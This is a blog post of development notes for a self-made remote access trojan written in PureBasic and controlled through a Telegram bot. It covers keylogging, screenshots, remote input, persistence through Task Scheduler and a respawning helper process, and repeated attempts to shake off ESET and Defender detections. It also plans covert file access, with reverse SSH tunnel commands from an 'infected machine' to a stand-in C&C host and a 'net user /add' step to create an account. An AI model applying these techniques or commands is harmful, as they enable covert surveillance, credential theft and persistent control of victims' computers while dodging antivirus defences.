Thursday, May 14, 2020

PureBasicRAT v2

  • Drop to system32 fixed
  • Indefinite HTTPRequest() wait fixed with a timeout of 10s
  • Persistence functionality offloaded to a dedicated thread
  • Delay times increased for stability
  • Added four new functions: /keypress, /lclick, /rclick, /mclick 

Development notes:
Musings During Development
Of PurebasicRAT v2
In PureBasic 5.70
[08:31PM|May 11, 2020]
*If you want to pass array to a thread procedure(so as to read or return into it) using CreateThread(), passing the array directly as the second parameter won't work. Enclose the array as a member of a Structure and pass the pointer to the structure to CreateThread() instead. Example:

Structure threadParam
  Array somearray.i(0) 

Define param.threadParam
Define i.i,thread.i

Procedure ThreadProc(*param.threadParam)
  Dim *param\somearray.i(0)
  ReDim *param\somearray(1)


If IsThread(thread) ;thread is stuck, most likely at the HTTPRequest function
  Debug "Thread killed!"



For i=1 To ArraySize(param\somearray())
  Debug Str(param\somearray(i))
Next i
[11:44PM|May 11, 2020]
*The stub just got detected by ESET Smart Security. Win32/Agent.UFQ Trojan. Should've disabled ESET LiveGrid submission. Will try to change a couple things to throw it off. BTW, is a site that offers free no-distribution AV scans. Seems to be a project by an HF member.
[12:19PM|May 12, 2020]
*MSDN gives the impression that SendInput() is in some ways "weaker" while "higher-level" than keybd_event(), which it supersedes, in that the Return Value section says that SendInput() is UIPI-aware. No such remark seems to be made for the keybd_event() function. I checked, keybd_event() is just as aware of user privilege level. No benefit in using keybd_event().
*Applications typically (not all games though) ignore the key scancode and only care about the virtua keycode, that's why most of the time, one can get away specifying only the first parameter of the keybd_event() function. ref:
[02:55PM|May 12, 2020]
*I always make the error of forgetting to bitshift after and'ing when calculating the high-order byte(MSB) (generally of a SHORT data). Case in point, VkKeyScan()
[12:42PM|May 13, 2020]
*mouse_event() and keybd_event() are much simpler to use than SendInput(), probably the reason I don't remember ever using SendInput() before.
[03:55PM|May 13, 2020]
*CPU Usage has shot up. Probably coz I decreased the Delay() times everywhere. Increased it back a bit in the persistence routine, so it's a tad better now. But still not very good. Clearly shows on the task manager. Also, haven't managed to shake off that Win32/Agent.UFQ detection by ESET Smart Security.
[07:03PM|May 13, 2020]
*ESET Smart Security detection chain:
Inside machineinfogatherer.pbi:
[09:42PM|May 13, 2020]
*Found another bug. If the drop path is selected to be %system32% and the x86 binary is used on a x64 system, the function getDropPath() in configreader.pbi outputs "C:\Windows\system32" which is wrong. Due to the "File System Redirector" ( , using this path in any file operations such as CopyFile(), DeleteFile() and OpenFile() is redirected to "C:\Windows\SysWOW64" instead. As a result, the server is copied into the "C:\Windows\SysWOW64" folder and runs from there only to do a comparison with "C:\Windows\system32" thus repeatedly copying itself to the same path("C:\Windows\SysWOW64") over and over. The guilty code is the following line in getDropPath() procedure in configreader.pbi file:
Case "%system32%"
where we're manually tacking the string "\system32" to the %windir% path. We need to do a check here. If we're a x64 executable, the code is fine. If we're a x86 executable, we need to check the OS. For that we use the IsWow64Process() function. If the OS is x64 (and process is x86), the second parameter of the function is TRUE; so the "\system32" will have to be replace with "\SysWOW64". If the OS is x86 (and process is x86), FALSE; the code is fine.

[09:12AM|May 14, 2020]
*I did a control test of whether a timer or a sleep loop would be better for minimizing CPU usage. (ref: ) Turns out, there's not much difference:
; 0.12% CPU usage:
  Debug GetTickCount_()
; 0.14% CPU usage:
Procedure timerProc(_.i,__.i,___.i,____.i)
  Debug GetTickCount_()

Define msg.MSG
While GetMessage_(@msg,0,0,0)
If anything, unlike what I had thought, the timer performed worse. I tried with an interval of 100ms as well. The results were similar.
Guess there's no escaping it.
[01:23PM|May 14, 2020]
*When I run the server in my VM(Win10x86,2GB RAM), Windows Defender seems to pick it up(Win32/Hupigon.CN). Don't know if it's related but the server fails to run from the right install directory. Copying to the install directory is done alright but the program doesn't run from there. It just exits. Probably because the server in the install directory loads up too quick and detects the previous instance before it has time to quit. So, gotta add a "/delay" switch to the commandline for such launches and check for it in the beginning of the program and sleep for a couple seconds before continuing. Similar thing happens when starting the persistor. In persistence.pbi, copying the persistor to temp and running it there happens fine. But as soon as another iteration of the realtime persistence loop starts, the server still doesn't detect the persistor running. Hence, this continuously spawns random persistor exes in temp and runs them but the fact that the persistor is never detected by the server implies the persistor itself isn't running. I'm guessing it's the same thing as the server's launch from right folder problem-the new instance from the install path runs too quickly and detects the old instance and quits. Gotta add the delay switch to persistor as well that. Gosh, the whole setup seems so brittle.
*TL;DR we need both the server and the persistor to pause a while IF THEY'VE BEEN LAUNCHED BY THEMSELVES so that multiple-instance-check isn't triggered which would otherwise cause the programs to just stop.
*Oddly enough, it doesn't happen outside the VM, in the real machine.
[03:15PM|May 14, 2020]
*Got duped by the ProgramParameter() PureBasic function. The parameter is optional but the parameter index is increased each time the function is called. Lost about an hour to this.
*Just discovered how glitchy ProcessExplorer can be(in a VM anyway) 

Monday, May 11, 2020


This is a Remote Administration Tool I've made using PureBasic. I wanted to learn the language, so decided to do it with this project. The project code is compatible with both x86 and x64 architectures, just compile the source with the corresponding PB compiler. The GitHub repo is here The builder is a simple GUI that looks like:

I've etched the thoughts that came to my mind during the development in a text file the contents of which I'm going to put down here. So, I won't be doing any further explanation. The flow of the program is summarized in a 'flowchart.html' file available in the repo linked above:

Musings During Development
Of PurebasicRAT
In PureBasic 5.70
*hard time finding good examples online. documentation is good and beginner-friendly most of the time though. i know, small userbase
*messy array/pointer/list returning from procedures. better off filling a parameter buffer
*confusing syntax, especially with EnableExplicit on. shows the language is geared towards not doing that.
*the module system is a joke. better-off without it
*ArraySize() gives the size of the array AS SPECIFIED WITH DIM OR REDIM. this is trippy as well. ArraySize of 0 would mean there's one element in an array. I guess this is in conforming with QBASIC/VB6 syntax. seems like i've forgotten how looping through an array worked in VB6, lol.
*there's no way AFAIK to check if a dynamic array is empty in purebasic if you start from the index 0. to declare a dynamic array, you must specify a size (unlike in vb6). so, dim a() is not possible. it must be dim a(0) or some other positive number instead of 0. but you don't know what the final size of the array is going to be! that's what a dynamic array is for! if it is something returned from a procedure, you will want to check if there's any element in the array. but if the array is 0-indexed, there will always be that a(0) i.e. the first element created during dim'ing. ArraySize() will return 0 regardless of the return value of the procedure. maybe the procedure didn't add any element. maybe it added just one element. we don't know. can't tell using ArraySize() alone. So, best use 1-based index.
*redim array(0) is valid. it makes room for a total of one element in purebasic. see arrays in purebasic help file
*jsonarray is 0-indexed
*output file size quickly balloons even when GUI api, the likes of OpenWindow() and such, haven't been used. the network library functions single-handedly add 200KB. single line of code: UsePNGEncoder() adds another 220KB
*good purebasic guide : A lot of google searches point there
*StringField() is not well documented. had to fiddle around with it to figure out what exactly it did. it's nice.
*variables going out of scope when creating threads from procedures. nice. learning some. use of Static variables in procedures
*nightmare to find where a method has been implemented for projects involving multiple include file
*resources that were easily available a few years ago on some topics(like HTTP mechanism) seem to be lost to the vastness of the internet now. i don't know if i'm totally correct but IIRC, there was a website that did an excellent job of completely describing the totality of HTTP to a beginner. i can't seem to find that exact resource readily now. maybe i'm just imagining things. maybe there wasn't just one such great resource. maybe is it? Got that from a StackOverflow answer
*a lot of my time is being spent revisiting how I coded things in VB6 back in the day. I sure hope it doesn't always hold me back. i did a lot of things without actually understanding how it worked, learning by seeing other people's code. case in point, reading binary file's content into a string buffer.
*HTTP requests are best learnt by emulating browsers and other HTTP clients such as PostMan, I've come to learn. i've been searching for the "proper" way to upload files via HTTP POST for the better part of the day. but no resource seems complete on the internet, not even the RFC2616. some of the headers I see in PostMan console/google chrome DevTools seemingly have no explanation. RFC2616 has only a passing mention of Content-Type: multipart/form-data for uploading files and the required fields in the HTTP request body between boundaries. scattered information here and there only add to the confusion and most SO threads just tell the OP's to STFU and use available HTTP libraries for the language they're using to upload files. anyway, I just gave up on trying to find a good complete HTTP resource for developers and just emulated PostMan's HTTP POST request. ofc that worked. i really was expecting more clarity on the topic. which fields are required for file upload? which headers? what's "content-disposition"? David Gourley's "HTTP: The Definitive Guide" talks about it in brief on page 326 comes close but it's not convincing. web searches on constructing raw HTTP request for file upload are mostly useless or very meagre/scattered.
*three-pass protocol in cryptography. commutative encryption. interesting. from
*DW Service new agent creation process is simple but misleading. group name is to be left unfilled for the first agent created since there's no groups in the beginning. they could've made that clear with a textbox hint. was banging my head over why i couldn't create a new agent. Jesus freakin Christ.
*>Free and Open Source remote control software. I'm conflicted over some kind of SSH client such as PuTTY or a full-fledged remote control software to include with the program. I need the ability to browse through the files and download/upload them. SSH requires the username and password of the device's account. so, thinking about going with a remote desktop solution sch as DW Service. pointed me toward it. DW Service supports silent mode as well,
*Nevermind, DW Service only allows silent INSTALL. not silent mode. lol. so won't be using DW Service. i don't think any "legal" remote desktop software would allow such a thing.
*Command line redirections. nice stuff. i knew them. just not they were called that. lol. trace of this thought: ->Uses pipe to direct info into application>Cool website for help on command line
*I know there were hacks to make console VB6 apps back in the day but here it is anyway, the right resources are still there on the web to my surprise:
*Stumbled upon a great book by Matthew Curland on VB6: Advanced Visual Basic 6 Power techniques for everyday programs on libgen
*AnyDesk looks promising. Got command line interface. Can silent install with password for unattended access but the window will show. Tray icon shows. Could hack around with windows api to hide those but... too hacky for me. Feels too brittle. I Pass. Gives me an idea for the next project though. :P
*Google Chrome's software cleanup tool is making my system crawl. Second time it has done that. Uninstalling it. Firefox FTW!
*Learning a lot about SSH and reverse tunneling. Nice resources:
*Linux Manjaro x64 doesn't work on VirtualBox. Installed Linux Mint x86 instead. Doing this for ssh server. OpenSSH does have a server for windows and windows 10 seems to have it as an optional feature but spare me the trouble. Just easier on linux.
*There's a lot of resource about SSH tunneling on the internet. But here's what I've learnt. What SSH does is allow encrypted connection to be established between two computers on the internet(or any network). The computer initiating the connection is the client. The one accepting is the server. Thus SSH has two components: client and server. The client computer runs the SSH client software and the server runs the SSH server software. Windows doesn't seem to be used much as an SSH server hence there's not much choice for SSH server softwares on Windows. There's lot more choices for the SSH client software though. PuTTY is one such SSH client. New versions of Windows 10 seem to have the OpenSSH client by default accessible through the command prompt using the command "ssh" similar to Linux. There's commercial SSH server softwares for windows but Windows 10 does seem to provide the free OpenSSH server software as an optional feature that can be manually enabled. It requires configurations to be made though. Tutorials are aplenty on the internet for that. For the purpose of learning about SSH, I used linux where both the client and the server softwares are either present by default or are trivial to get up and ready. On Linux Mint, the distro that I used, it was just one "apt-get install openssh" away. That installs both the client and the server software. First, here's how SSH is typically used, the straightforward way:
I've got a computer A that wants to access computer B. So, A is the client and B is the server according to our terminology. What one would do is run the SSH server program on computer B. This program keeps listening at the port 22(typically) of computer B for incoming connections and if any connection request is detected at the port, connection is established. Computer A has to install an SSH client software and try to make a connection with the SSH server of computer B. This is usually done as follows, where the SSH client program is invoked by the "ssh" command:
-->ssh usernameOfComputerB@IPaddressOfComputerB
The server running on computer B detects this connection request and asks the client for the password associated with the username of computer B. If you want to access computer B, then you better know the credentials of the machine, right?
If a valid password is given, computer A can access computer B with absolute authority. It's as if a portal is created from computer A to computer B. Using computer A, a user can control computer B.
But that's not all that interesting. What's so useful about SSH is its port forwarding ability. As describes,
'SSH port forwarding is a mechanism in SSH for tunneling application ports from the client machine to the server machine, or vice versa. It can be used for adding encryption to legacy applications, going through firewalls, and some system administrators and IT professionals use it for opening backdoors into the internal network from their home machines. It can also be abused by hackers and malware to open access from the Internet to the internal network.' There's two types of port forwarding in SSH: Local and Remote port forwarding. A nice description of typical situations where one would use these is given @
Keep in mind that ssh is done from client computer into the server computer(where ssh server is running). SSH commands are issued on the client side. And port forwarding is done after the connection is established from client to the server though all of this may happen with just one line of command.
Ok, now, LOCAL forwarding works like this:
first your ssh client(computer A) establishes a connection with the specified ssh server(computer B):
A ______________________  B

then it sets up a listener locally (in computer A itself) at a port you specify. Any connection made to this port by other applications in computer A will be funnelled to computer B and output through another port you specify. In commandline, this is how it looks like:(remember, you run this from computer A i.e. client)
-->ssh usernameOfComputerB@IPaddressOfComputerB -L 8585:localhost:3232
The -L switch refers to local port forwarding. 8585 is the local port(in computer A). 3232 is the remote port(in computer B i.e. running SSH server). localhost represents the computer B. So the first port is the client-side(A's) port. The parts after that are the server side's parameters(B's). So, here, SSH server running on computer B is going to give what comes from the client port 8585 to the computer B(localhost, from the SSH server's perspective) through port 3232.
So, you ask any program running on A to connect to local port 8585 and it magically connects to B at port 3232 through the SSH tunnel. This can be useful for preventing any plaintext information from being intercepted in the middle since an SSH connection is, by nature encrypted, and any communication occuring through the proverbial tunnel created by the SSH connection is itself going to be encrypted. Simply ssh'ing into a server would allow us remote control (a shell, in networking lingo) over the server. But with port forwarding, any application can tunnel through the SSH connection to the server, like riding on a secure highway. Port forwarding affords secure connection to any application we want.
Another use case for local port forwarding would be, as described @ Suppose you're at work and you'd like to remote desktop to your home computer. But your work network has a firewall that blocks remote desktop connections, targetting the port 3389. Under normal circumstances, your remote desktop client at work would use the local port 3389 for connecting into your home computer at its port 3389 and everything would work fine. But now, the firewall has blocked the port 3389 making the remote desktop application useless. Now, theoretically, changing the port the remote desktop app uses on both your work computer and home computer could work but it may not be practical or allowable or possible. What you could do however, if your home computer had an SSH server running, is set up a local port forward on your work computer with an SSH client to connect to your home computer's SSH server. Example, on your work computer:
-->ssh homePCusername@homePCipAddress -L 6565:localhost:3389
The part before -L:
This would make an SSH tunnel to your home computer.
Part after -L and including:
Forward the local port 6565 to your home computer(localhost is from POV of the SSH server)'s port 3389
The remote desktop application running on your home computer would see the remote desktop connection incoming at the right port: 3389, as it normally would. And voila! You're connected to your home through your remote desktop software! Despite the firewall rule.
Another example:
-->ssh compB@compBipAddr -L
Running the above on computer A would connect to the SSH server running on computer B and forward all local traffic targetted to port 9595 to at port 80 from computer B. So, going to localhost:9595 on a browser running on computer A would connect with at port 80(standard HTTP port) from computer B.
So, local port forwarding can be represented as a secure tunnel from client (A) to server (B):
A ->________________-> B
REMOTE forwarding:
This describes it best:
The following command on computer A(client):
-->ssh usernameOfComputerB@IPaddressOfComputerB -R 8080:localhost:80
'..allows anyone on the computer B(running SSH server) to connect to port 8080 of the computer B. The connection will then be tunneled back to the client computer A, and the client then makes a connection to port 80 on localhost. Any other host name or IP address could be used instead of localhost to specify the host to connect to..'
So, the picture looks more like:
A <-________________ <- B
i.e. funnels data from SSH server computer B to SSH client computer A. Any connection on port 8080 of computer B would be pushed through the tunnel to computer A. But here's the important part, the command to do so is issued by the client A, as is consistent with the fact that commands are always issued by the client.
So, if you've got a client and a server, and if you can connect from client to server(firewalls and routers often don't allow this if the server sits behind one), you can redirect data from the specified port of the server to the client.
Now, a nice application of remote forwarding. First, forget the above figure.
This is the more interesting forwarding mode. See, usually firewalls are setup to allow outgoing connections but to block incoming connections on most ports. So, say we're at our home computer and we need a shell into our work computer running behind a firewall/router, we could install an SSH client there. From the work computer, we could establish a reverse shell to our home computer. Of course our home computer has to be reachable(not blocked by firewall/router) and running an SSH server. From our work computer:
-->ssh usernameOfHome@IPofHome -R 8787:localhost:22
The part before -R:
Establishes connection from work computer to home computer.
The part after -R:
Forwards home computer's port 8787 to work computer(localhost)'s port 22(SSH port).
So, any app on our home computer connecting to the local port 8787(local meaning home computer's) will be forwarded to the work computer at port 22. Now, if we also have an SSH server running on the work computer, we could directly SSH from our home computer to the work computer using the following command @ home computer:
-->ssh usernameOfWork@localhost -p 8787
The above command connects to the local port 8787 which is forwarded to the work computer's port 22 using username of the work computer. How neat is that?
So, now we have access from our home computer to our work computer which is behind a firewall/router through the SSH tunnel.
Note that 'localhost' in the first command(issued from work) refers to the work computer while in the second command(issued from home) refers to the home computer.
Now going back to our Purebasic RAT, if we could set up a reverse shell(remote forwarding) from the infected computer to our C&C computer, we could bypass the firewall shielding the infected computer. For this, the infected computer would have to use an SSH client to remote forward its port 22 as:
-->ssh usernameOfCnC@IPofCnC -R 8787:localhost:22
The CnC machine would need to be running an SSH server of course, and be reachable(not behind firewall/router). Then from the CnC machine, an SSH client could be used to get a shell back to the infected machine as:
-->ssh usernameOfInfected@localhost -p 8787
But of course this would mean running an SSH server in the infected machine which could be problematic. Setting up the server in windows could be a PITA. And there's the problem of getting the username and password of one of the user accounts in the infected machine. One could always do a "net user /add username password". But setting up the server looks daunting.
ALL of this is to access the infected machine's files. SO, if files are all we're after, we could just do a reverse SSH tunnel(from the infected machine using an SSH client there ofcourse) to our CnC. But expose not the port 22 but FTP's port 21.
-->ssh usernameOfCnC@IPofCnC -R 8787:localhost:21
Do keep in mind that the above command would be run from the infected machine using an SSH client there.
And we could run a hidden FTP server on that port (21) in the infected machine.
Then from our CnC computer running the SSH server, an FTP client such as FileZilla could be configured to connect to localhost @ 8787.
I've tried the above using FileZilla server and FileZilla client. It does work. But only kinda. Turns out, FTP uses two channels: command and data. FTP uses port 21 for the command channel but a random port above 1024 for data transfer. Good resource about it on the internet(search "Plain FTP through SSH tunnel"):
Basically, what we're trying to do is use FTP through the SSH tunnel. It doesn't work because FTP uses random port for data transmission. FTP connection does happen, so can command transfers, but data transfer doesn't work.
SFTP, or SSH FTP requires SSH server running on the infected machine, and has got nothing to do with regular FTP. So, that's no good.
All in all, FTP through SSH tunnel isn't going to work. Look at this complexity:
In any case, if you're the attacker running SSH server, you'll need to be reachable. You probably sit behind a router, like most people do, so you're going to have to configure your router to forward ports to your local IP. That isn't the case with me. I can't even access the router, much less configure a port forward. Obviously the infected machine is going to have to be assumed to be unreachable due to a router of its own. Firewall is no issue and can easily be circumvented, router is the problem.
*I wonder how TeamViewer and AnyDesk and other remote desktop applications work even through routers.
Turns out, TeamViewer uses their server as a relay. No open ports required.
*Running an SSH server on android phone using the carrier's mobile data plan isn't possible either. Turns out, mobile service providers don't give public IP to users. Meaning users are assigned private IPs using NAT gateways operated by the mobile service providers, much the same way a device behind a router is assigned private IPs.
*I'm moving on to adding keylogging feature to the RAT. I knew I had to use GetAsyncKeyState() and all worked well until I had to check for the CAPS LOCK toggle. I just couldn't think of a way to do it reliably with GetAsyncKeyState(). So, I turned to my sKeyLogger which was a program I made in VB6 back in 2015. I knew I hadn't used GetAsyncKeyState() for getting the keys there, I knew it was hook-based. But I was certain that I had used GetAsyncKeyState() to check the state of the non-character keys. However, I was wrong. Turns out I was using GetKeyState() for that. In fact, there was no sign of the GetAsyncKeyState() anywhere in the keylogging module of the program. And turns out GetKeyState() can be used for checking toggle status of keys such as CAPS LOCK and NUM LOCK and the like. The msdn documentation says as much. But what it also says is that the API is thread-specific. I had been under the impression that it wouldn't work for system-wide key detection. Turns out I was wrong. I don't know whether I knew what the significance of GetKeyState() was then but the keylogger did function very well. GetKeyState() works perfectly for checking the toggle states of toggle keys. To be honest I still ain't that sure why did works, because isn't it supposed to check the key state for just our process/thread? Why does it work system-wide? Check out On first glance, the internet seems to have no clue, nor interest in this API and google searches seem to be drifting ever away from anything close to windows API.
*Man, not using the low level keyboard hook does force you to deal with lots of pesky edge cases. Dealing with single character repetitions was easy. But multiple keys may be repeated as well. Had to make an array for all simultaneously pressed keys and check on each iteration. Doing that was a headache yesterday evening through night. I dunno. My head just wasn't making sense of the same code I was staring at for the whole day. Seems simple enough this morning(4th May, 2020). Multiple character repetition frequency threshold has been successfully implemented. Things like this, realtime keypress events can be really hard to debug and make it work. The only thing you have to work with is theory of how things must be happening. Theorize how things must be going, how they should be going and implement it in code and pray it works.
*When the whole thing is built, it has often amazed me how on earth I made it. But everything starts from simple and builds up in complexity and functionality. That, I've learned is important to bear in mind lest you despair on the apparent erosion of your competence.
*Keys that are normally used by keeping pressed(long-pressed keys), such as arrow keys, control, alt, shift are a headache to capture. So, I won't record those.
*I realize, repeat threshold(repeatInMs variable) can be made arbitrarily high. After all, the program does catch unique keypresses without fail. How many people press and hold literal text? We don't even need to record the repetition. The threshold could be eliminated altogether. Consecutive repeats could be just be outright blocked without much harm. Hmm..
*You know what, I think recording the special keys such as Ctrl and Alt and arrow keys are gonna be required to maintain keylog readability. Just gonna have to record one event for any bunch of them so they don't repeat.
*If a variable of an outer scope is to be used inside procedures, the variable must be declared Global in PureBasic.
*Starting from PureBasic 5.4, all programs are unicode i.e. strings used in purebasic program source will be unicode strings and each character will use 2 bytes.
So, windows api such as RegSetValueEx() will always be translated to RegSetValueExW() and thus the 'cbData' parameter of the function should not use Len(string) but sizeof(char)*Len(string) i.e. 2*Len(string). Lookup sizeof() compiler function in purebasic help file.
*HKLM or HKCU \Run entry doesn't work if the exe file prompts UAC for admin rights. If it doesn't, then the exe runs at startup alright, but without admin rights. Makes perfect sense. Probably the same reason I used task scheduler in sKeyLogger IIRC
*For persistence, creating a service in windows seems to be a PITA. So, skipping that. For startup (and some persistence) Task Scheduler will have to be used because our program will need admin rights(right now, for BlockInput(), maybe more later) and autorun capability(obviously). Creating a task purely using windows API seems to require additional C++ header files(mstask.h and taskschd.h) Apparently, those are not very widely used headers. So, no support in PureBasic. I could optionally see which libraries these use(taskschd.lib, seems like from but I've guessed - taskschd.dll in system32. The exports don't make sense to me though. Anyway, I forego this attempt to create tasks using the API since everyone seems to be content with just using the task scheduler commandline utility schtasks.exe or be using the nice wrapper class that .NET apparently provides. It appears there was a reason I too used the schtasks method in vb6 in sKeyLogger. SMH. Google "Task scheduler commandline parameters": or do "schtasks create /?" on command prompt
*Admin rights are required to delete a scheduled task but not to create one(except if you're creating a task with the HIGHEST runlevel i.e. /rl HIGHEST switch)
*The DataSection and IncludeBinary functionality of the PureBasic compiler is so handy. Wish all languages had this.
*While debugging the stub code in PureBasic IDE, unlike vb6, you can't just put the %stub-projectname%.exe file into the source folder and go on with your debugging. You use the handy CompilerIf directive to point to the correct executable as such:
CompilerIf #PB_Compiler_Debugger
As you guessed it, currpath is replaced with the right executable path when debugging.
*Updating resource in exe files doesn't seem to be very well documented in msdn. Just check out the documentation on UpdateResource() API.
*Apparently, LoadLibrary() is also used to obtain handle to an exe file when using LoadResource() and FindResource(). Ref: ;
*Writing and loading resource seems to be pretty easy/straightforward though, if you can explore around msdn a bit.
*I've noticed this thing with many windows API functions that most of the time you're just jumping through unnecessary hoops or rather the windows api makes you. Most often it's probably a side effect of the windows api's 'backward compatibility' virtue.
*So much of windows api documentation on msdn seems to be neglected as of now. There's always some kind of bad link whenever I'm looking up some function there.
*Doing two BeginUpdateResource()->UpdateResource()->EndUpdateResource() back to back results in unpredictable behavior of EndUpdateResource() for the second time. Sometimes it succeeds and sometimes it fails with an error of ERROR_OPEN_FAILED(error code 110). According to Hans Passant @ StackOverflow, "UpdateResource is quite troublesome..." ref : . I carefully read the Remarks section of msdn documentation for EndUpdateResource() and I found "Before you call this function, make sure all file handles other than the one returned by BeginUpdateResource are closed." It's probably got something to do with this. Not a lot of talk on this error regarding resource updates on the internet at this time. Googling "error_open_failed endupdateresource" brings out only a couple of results:
They guess it's an antivirus interfering with the api.
*WOW. They were right. It is the antivirus software interfering with the updateresource apis. When I disable my ESET Smart Security's real time protection, no errors! Consistently!
*Say you copy an exe file "trial.exe" from your Desktop folder to %tmp% and ShellExecute() it using the %tmp% path, all from another program "runner.exe" residing in your Desktop. The "trial.exe" program will assume the working directory of Desktop despite the fact that it's working from the %tmp% folder. This means if "trial.exe" creates any file without using absolute paths, the file will go to your Desktop folder! All this is if you don't specify the 'lpDirectory' parameter of ShellExecute(). To assign a working to the program being executed by this API, use the 'lpDirectory' parameter; in this case, it would have to be assigned %tmp% How had I not learnt of this until now? ref:
*Apparently, there's no readily available free, authentic, trusted tool in windows to force a system-wide HTTP/HTTPS redirect(system-wide proxy). At the time of this writing, there's Proxifier, which is a commercial program. There's also KKCap, which seems to be free but begs authenticity. A self-declared open-source alternative to Proxifier does exist in GitHub but it doesn't work. And of course Fiddler doesn't work for all processes if they don't care about the system's(internet explorer's) proxy settings. So, it appears there's no easy way to snoop on Purebasic RAT's traffic without reverse engineering its binary and stepping through the code(provided the bot API tokens are encrypted of course). If Telegram had used plain HTTP, which seems hilarious in this day and age, instead of HTTPS, it would have been another story; any popular network monitor program such as SmartSniff, WireShark, TCPDump etc would be able to see the network data interchange in plain sight. ref:
*Running an exe file from the Task Scheduler without explicitly specifying the working directory("Start in directory") will default to the working directory for the exe file being set to system32. Learnt this the hard way. I think it's best to either a)Use absolute paths for file operations OR b)Set the executable path as the working directory(PureBasic has SetCurrentDirectory() for just that) right at the beginning of the program. I'm using the second option.
*The greatest asset of a programming language is its userbase.
*Apparently, PureBasic has a StringByteLength() function. How would I have known this before.
*A possible debug black hole: since there's no native boolean type in PureBasic, we use the integer type for a boolean variable. But if you do not specify this type to a variable explicitly, you won't be able to apply boolean logic on it. Example:
Define someBool.i=#True
If someBool
Define someBool=#True
If someBool
    ;not executed
*This is the first time I ever experienced this happen: the server was running but didn't respond to my commands. I sent out /info and /screenshot but nothing. I checked on the task manager and the process was there but it just didn't respond to the commands. I check with process explorer and normally I would see the server process spawn the conhost for task scheduling persistence but I didn't see that this time. There was no process activity. I suspected a hung network operation might be the culprit and thus disconnected my ethernet plug and boom! The conhost spawns were back. As soon as I plugged the cable back in, I got back the responses to the two pending commands in my Telegram chat with the bot. I am almost certain the HTTP functions in PureBasic don't timeout properly if at all. Gotta fix that. ref:
*Checking if a child process is running doesn't seem to be doable via CreateMutex(). So, I'm just gonna bank on the only-single-instance property of both the persistor and server to just spam RunProgram() at regular intervals for realtime persistence. But this approach seems to constantly change the cursor to busy and obviously anyone will be suspicious. Just gonna use GetExitCodeProcess(). ref
But alas! It doesn't work for monitoring the server process. This is because when the persistor executes the server executable from a random location, the server process will then install itself to the right installation directory and then run from there instead. Thus, the persistor program will have a bad Process ID, which no longer corresponds with the server process. Using most Inter Process Communication(IPC) requires knowledge of the process, which in the aforementioned case is a luxury we won't have. Other non-process specific IPC would require some mechanism to store state and a good protocol to decide a state change. So, I think making a window and searching for the title coupled with some kind of fail-safe is the simpler and the more effective way to go about this. That's probably how I used to do this in vb6.
*IPC in windows ref:
* for flowchart